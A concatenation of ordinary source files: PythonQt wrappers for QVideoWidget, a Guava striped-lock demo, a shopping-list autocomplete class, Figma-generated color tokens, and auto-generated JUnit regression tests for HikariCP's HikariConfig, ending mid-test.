if (obj) {
static const char* argumentList[] ={"QPaintDevice*" , "QPoint*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
QPaintDevice* returnValue;
void* args[2] = {NULL, (void*)&offset0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("redirected", methodInfo, result);
} else {
returnValue = *((QPaintDevice**)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::redirected(offset0);
}
void PythonQtShell_QVideoWidget::resizeEvent(QResizeEvent* event0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("resizeEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QResizeEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&event0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::resizeEvent(event0);
}
bool PythonQtShell_QVideoWidget::setMediaObject(QMediaObject* object0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("setMediaObject");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QMediaObject*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&object0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("setMediaObject", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::setMediaObject(object0);
}
QPainter* PythonQtShell_QVideoWidget::sharedPainter() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("sharedPainter");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QPainter*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
QPainter* returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("sharedPainter", methodInfo, result);
} else {
returnValue = *((QPainter**)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QVideoWidget::sharedPainter();
}
void PythonQtShell_QVideoWidget::showEvent(QShowEvent* event0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("showEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QShowEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&event0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::showEvent(event0);
}
void PythonQtShell_QVideoWidget::tabletEvent(QTabletEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("tabletEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QTabletEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::tabletEvent(arg__1);
}
void PythonQtShell_QVideoWidget::timerEvent(QTimerEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("timerEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QTimerEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::timerEvent(arg__1);
}
void PythonQtShell_QVideoWidget::wheelEvent(QWheelEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("wheelEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QWheelEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QVideoWidget::wheelEvent(arg__1);
}
QVideoWidget* PythonQtWrapper_QVideoWidget::new_QVideoWidget(QWidget* parent)
{
return new PythonQtShell_QVideoWidget(parent); }
Qt::AspectRatioMode PythonQtWrapper_QVideoWidget::aspectRatioMode(QVideoWidget* theWrappedObject) const
{
return ( theWrappedObject->aspectRatioMode());
}
int PythonQtWrapper_QVideoWidget::brightness(QVideoWidget* theWrappedObject) const
{
return ( theWrappedObject->brightness());
}
int PythonQtWrapper_QVideoWidget::contrast(QVideoWidget* theWrappedObject) const
{
return ( theWrappedObject->contrast());
}
bool PythonQtWrapper_QVideoWidget::event(QVideoWidget* theWrappedObject, QEvent* event)
{
return ( ((PythonQtPublicPromoter_QVideoWidget*)theWrappedObject)->promoted_event(event));
}
void PythonQtWrapper_QVideoWidget::hideEvent(QVideoWidget* theWrappedObject, QHideEvent* event)
{
( ((PythonQtPublicPromoter_QVideoWidget*)theWrappedObject)->promoted_hideEvent(event));
}
int PythonQtWrapper_QVideoWidget::hue(QVideoWidget* theWrappedObject) const
{
return ( theWrappedObject->hue());
}
QMediaObject* PythonQtWrapper_QVideoWidget::mediaObject(QVideoWidget* theWrappedObject) const
{
return ( ((PythonQtPublicPromoter_QVideoWidget*)theWrappedObject)->promoted_mediaObject());
}
void PythonQtWrapper_QVideoWidget::moveEvent(QVideoWidget* theWrappedObject, QMoveEvent* event)
{
( ((PythonQtPublicPromoter_QVideoWidget*)theWrappedObject)->promoted_moveEvent(event));
}
void PythonQtWrapper_QVideoWidget::paintEvent(QVideoWidget* theWrappedObject, QPaintEvent* event)
{
( ((PythonQtPublicPromoter_QVideoWidget*)theWrappedObject)->promoted_paintEvent(event));
}
void PythonQtWrapper_QVideoWidget::resizeEvent(QVideoWidget* theWrappedObject, QResizeEvent* event)
{
( ((PythonQtPublicPromoter_QVideoWidget*)theWrappedObject)->promoted_resizeEvent(event));
}
int PythonQtWrapper_QVideoWidget::saturation(QVideoWidget* theWrappedObject) const
{
return ( theWrappedObject->saturation());
}
bool PythonQtWrapper_QVideoWidget::setMediaObject(QVideoWidget* theWrappedObject, QMediaObject* object)
{
return ( ((PythonQtPublicPromoter_QVideoWidget*)theWrappedObject)->promoted_setMediaObject(object));
}
void PythonQtWrapper_QVideoWidget::showEvent(QVideoWidget* theWrappedObject, QShowEvent* event)
{
( ((PythonQtPublicPromoter_QVideoWidget*)theWrappedObject)->promoted_showEvent(event));
}
QSize PythonQtWrapper_QVideoWidget::sizeHint(QVideoWidget* theWrappedObject) const
{
return ( theWrappedObject->sizeHint());
}
|
carl10086/dm-learnin | dm-fast/src/main/java/com/ysz/dm/fast/basic/juc/lock/LockStripedDm_002.java | package com.ysz.dm.fast.basic.juc.lock;
import com.google.common.util.concurrent.Striped;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.locks.Lock;
public class LockStripedDm_002 {
private static Striped<Lock> striped = Striped.lock(128);
public static void main(String[] args) {
// Striped.lock();
System.out.println(getLock("AaAa"));
System.out.println(getLock("AaAa"));
System.out.println(getLock("BBBB"));
System.out.println(getLock("CCCCC"));
Map<String, String> map = new HashMap<>();
map.put("AaAa", "AaAa");
map.put("BBBB", "BBBB");
System.out.println(map);
}
public static Lock getLock(String key) {
return striped.get(key);
}
}
|
suvinsnair/privacy-friendly-shopping-list | app/src/main/java/privacyfriendlyshoppinglist/secuso/org/privacyfriendlyshoppinglist/logic/product/business/domain/AutoCompleteLists.java | <gh_stars>10-100
package privacyfriendlyshoppinglist.secuso.org.privacyfriendlyshoppinglist.logic.product.business.domain;
import privacyfriendlyshoppinglist.secuso.org.privacyfriendlyshoppinglist.framework.utils.StringUtils;
import java.util.Set;
import java.util.TreeSet;
/**
* Description:
* Author: <NAME>
* Created: 30.07.16 creation date
*/
public class AutoCompleteLists
{
private Set<String> stores;
private Set<String> categories;
private Set<String> products;
public AutoCompleteLists()
{
stores = new TreeSet<>();
categories = new TreeSet<>();
products = new TreeSet<>();
}
public void updateLists(ProductItem item)
{
String name = item.getProductName();
String store = item.getProductStore();
String category = item.getProductCategory();
if ( !StringUtils.isEmpty(name) )
{
products.add(name);
}
if ( !StringUtils.isEmpty(category) )
{
categories.add(category);
}
if ( !StringUtils.isEmpty(store) )
{
stores.add(store);
}
}
public Set<String> getStores()
{
return stores;
}
public Set<String> getCategories()
{
return categories;
}
public Set<String> getProducts()
{
return products;
}
public String[] getProductsArray()
{
return getStringArray(this.products);
}
public String[] getStoresArray()
{
return getStringArray(this.stores);
}
public String[] getCategoryArray()
{
return getStringArray(this.categories);
}
private String[] getStringArray(Set<String> aSet)
{
String[] stringArray = new String[ aSet.size() ];
aSet.toArray(stringArray);
return stringArray;
}
public void copyTo(AutoCompleteLists autoCompleteLists)
{
autoCompleteLists.stores = this.stores;
autoCompleteLists.categories = this.categories;
autoCompleteLists.products = this.products;
}
}
|
mikaelvesavuori/acmecorp-potted-plants-components | src/tokens/colors.js | // THIS FILE IS AUTO-GENERATED BY FIGMAGIC. DO NOT MAKE EDITS IN THIS FILE! CHANGES WILL GET OVER-WRITTEN BY ANY FURTHER PROCESSING.
const colors = {
"black": "rgba(27, 25, 25, 1)",
"deepBlue": "rgba(20, 6, 62, 1)",
"purple": "rgba(85, 33, 232, 1)",
"gray": "rgba(89, 89, 89, 1)",
"white": "rgba(249, 246, 246, 1)",
"pureWhite": "rgba(255, 255, 255, 1)"
}
module.exports = colors; |
leusonmario/2022PhDThesis | HikariCP/1bca94af9ec625f21d1b58ff10efb5be71ab87a6/randoop_6/RegressionTest38.java | <reponame>leusonmario/2022PhDThesis
import org.junit.FixMethodOrder;
import org.junit.Test;
import org.junit.runners.MethodSorters;
@FixMethodOrder(MethodSorters.NAME_ASCENDING)
public class RegressionTest38 {
public static boolean debug = false;
@Test
public void test19001() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19001");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setIdleTimeout(1L);
hikariConfig1.setPoolName("HikariPool-87");
java.lang.String str17 = hikariConfig1.catalog;
java.util.Properties properties18 = hikariConfig1.dataSourceProperties;
boolean boolean19 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setTransactionIsolation("HikariPool-138");
hikariConfig1.setMinimumPoolSize(87);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
}
@Test
public void test19002() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19002");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.connectionInitSql = "HikariPool-204";
int int11 = hikariConfig1.getMinimumPoolSize();
java.lang.String str12 = hikariConfig1.connectionTestQuery;
hikariConfig1.setTransactionIsolation("HikariPool-87");
hikariConfig1.transactionIsolation = 'a';
java.util.Properties properties17 = hikariConfig1.dataSourceProperties;
hikariConfig1.acquireRetries = (short) 100;
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.setMaxLifetime(100L);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 10 + "'", int11 == 10);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNotNull(properties17);
}
@Test
public void test19003() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19003");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setMaxLifetime((long) (short) 1);
int int10 = hikariConfig1.getMinimumPoolSize();
long long11 = hikariConfig1.getMaxLifetime();
javax.sql.DataSource dataSource12 = null;
hikariConfig1.dataSource = dataSource12;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer14 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 10 + "'", int10 == 10);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 1L + "'", long11 == 1L);
org.junit.Assert.assertNull(iConnectionCustomizer14);
}
@Test
public void test19004() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19004");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.transactionIsolation;
java.lang.String str9 = hikariConfig1.getConnectionInitSql();
hikariConfig1.catalog = "HikariPool-117";
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer12 = hikariConfig1.connectionCustomizer;
int int13 = hikariConfig1.getTransactionIsolation();
int int14 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
int int18 = hikariConfig17.getTransactionIsolation();
hikariConfig17.setRegisterMbeans(false);
java.lang.String str21 = hikariConfig17.transactionIsolationName;
int int22 = hikariConfig17.getMaximumPoolSize();
int int23 = hikariConfig17.transactionIsolation;
java.util.Properties properties24 = hikariConfig17.dataSourceProperties;
hikariConfig17.transactionIsolation = (byte) 1;
hikariConfig17.isAutoCommit = false;
boolean boolean29 = hikariConfig17.isRegisterMbeans;
boolean boolean30 = hikariConfig17.isRegisterMbeans();
hikariConfig17.leakDetectionThreshold = 97;
hikariConfig17.setTransactionIsolation("HikariPool-530");
long long35 = hikariConfig17.maxLifetime;
hikariConfig1.addDataSourceProperty("HikariPool-2231", (java.lang.Object) long35);
hikariConfig1.setUseInstrumentation(true);
long long39 = hikariConfig1.idleTimeout;
hikariConfig1.setLeakDetectionThreshold((long) (short) 100);
int int42 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer12);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 60 + "'", int22 == 60);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + (-1) + "'", int23 == (-1));
org.junit.Assert.assertNotNull(properties24);
org.junit.Assert.assertTrue("'" + boolean29 + "' != '" + false + "'", boolean29 == false);
org.junit.Assert.assertTrue("'" + boolean30 + "' != '" + false + "'", boolean30 == false);
// flaky: org.junit.Assert.assertTrue("'" + long35 + "' != '" + 35L + "'", long35 == 35L);
// flaky: org.junit.Assert.assertTrue("'" + long39 + "' != '" + 60L + "'", long39 == 60L);
org.junit.Assert.assertTrue("'" + int42 + "' != '" + 0 + "'", int42 == 0);
}
@Test
public void test19005() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19005");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
boolean boolean7 = hikariConfig1.isAutoCommit;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.lang.String str9 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setConnectionInitSql("HikariPool-802");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + true + "'", boolean7 == true);
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertNull(str9);
}
@Test
public void test19006() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19006");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
long long11 = hikariConfig1.maxLifetime;
hikariConfig1.minPoolSize = (byte) -1;
boolean boolean14 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setConnectionInitSql("HikariPool-4713");
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str19 = hikariConfig1.getDataSourceClassName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + (-1L) + "'", long11 == (-1L));
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertNull(str19);
}
@Test
public void test19007() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19007");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setRegisterMbeans(false);
boolean boolean16 = hikariConfig1.isAutoCommit();
hikariConfig1.isAutoCommit = false;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.isRegisterMbeans = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
}
@Test
public void test19008() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19008");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.transactionIsolation;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
hikariConfig11.setConnectionInitSql("hi!");
long long14 = hikariConfig11.getLeakDetectionThreshold();
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
int int21 = hikariConfig16.getMaximumPoolSize();
int int22 = hikariConfig16.transactionIsolation;
java.util.Properties properties23 = hikariConfig16.dataSourceProperties;
hikariConfig11.dataSourceProperties = properties23;
java.util.Properties properties25 = hikariConfig11.getDataSourceProperties();
hikariConfig1.addDataSourceProperty("HikariPool-489", (java.lang.Object) hikariConfig11);
hikariConfig11.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer29 = hikariConfig11.connectionCustomizer;
long long30 = hikariConfig11.getMaxLifetime();
hikariConfig11.setDataSourceClassName("HikariPool-105");
hikariConfig11.transactionIsolationName = "HikariPool-657";
hikariConfig11.setMaxLifetime(5000L);
java.lang.String str37 = hikariConfig11.getPoolName();
int int38 = hikariConfig11.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 0L + "'", long14 == 0L);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 60 + "'", int21 == 60);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertNotNull(properties25);
org.junit.Assert.assertNull(iConnectionCustomizer29);
// flaky: org.junit.Assert.assertTrue("'" + long30 + "' != '" + 35L + "'", long30 == 35L);
// flaky: org.junit.Assert.assertEquals("'" + str37 + "' != '" + "HikariPool-50576" + "'", str37, "HikariPool-50576");
org.junit.Assert.assertTrue("'" + int38 + "' != '" + 0 + "'", int38 == 0);
}
@Test
public void test19009() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19009");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.transactionIsolation;
int int9 = hikariConfig1.maxPoolSize;
java.lang.String str10 = hikariConfig1.getConnectionTestQuery();
javax.sql.DataSource dataSource11 = hikariConfig1.getDataSource();
hikariConfig1.leakDetectionThreshold = 10;
long long14 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(dataSource11);
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 10L + "'", long14 == 10L);
}
@Test
public void test19010() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19010");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
long long7 = hikariConfig1.connectionTimeout;
long long8 = hikariConfig1.idleTimeout;
hikariConfig1.setConnectionTestQuery("HikariPool-204");
hikariConfig1.catalog = "HikariPool-204";
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer13 = hikariConfig1.connectionCustomizer;
hikariConfig1.setConnectionTestQuery("HikariPool-372");
hikariConfig1.setAcquireRetries(100);
int int18 = hikariConfig1.transactionIsolation;
hikariConfig1.transactionIsolation = 100;
javax.sql.DataSource dataSource21 = null;
hikariConfig1.dataSource = dataSource21;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 60L + "'", long8 == 60L);
org.junit.Assert.assertNull(iConnectionCustomizer13);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
}
@Test
public void test19011() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19011");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
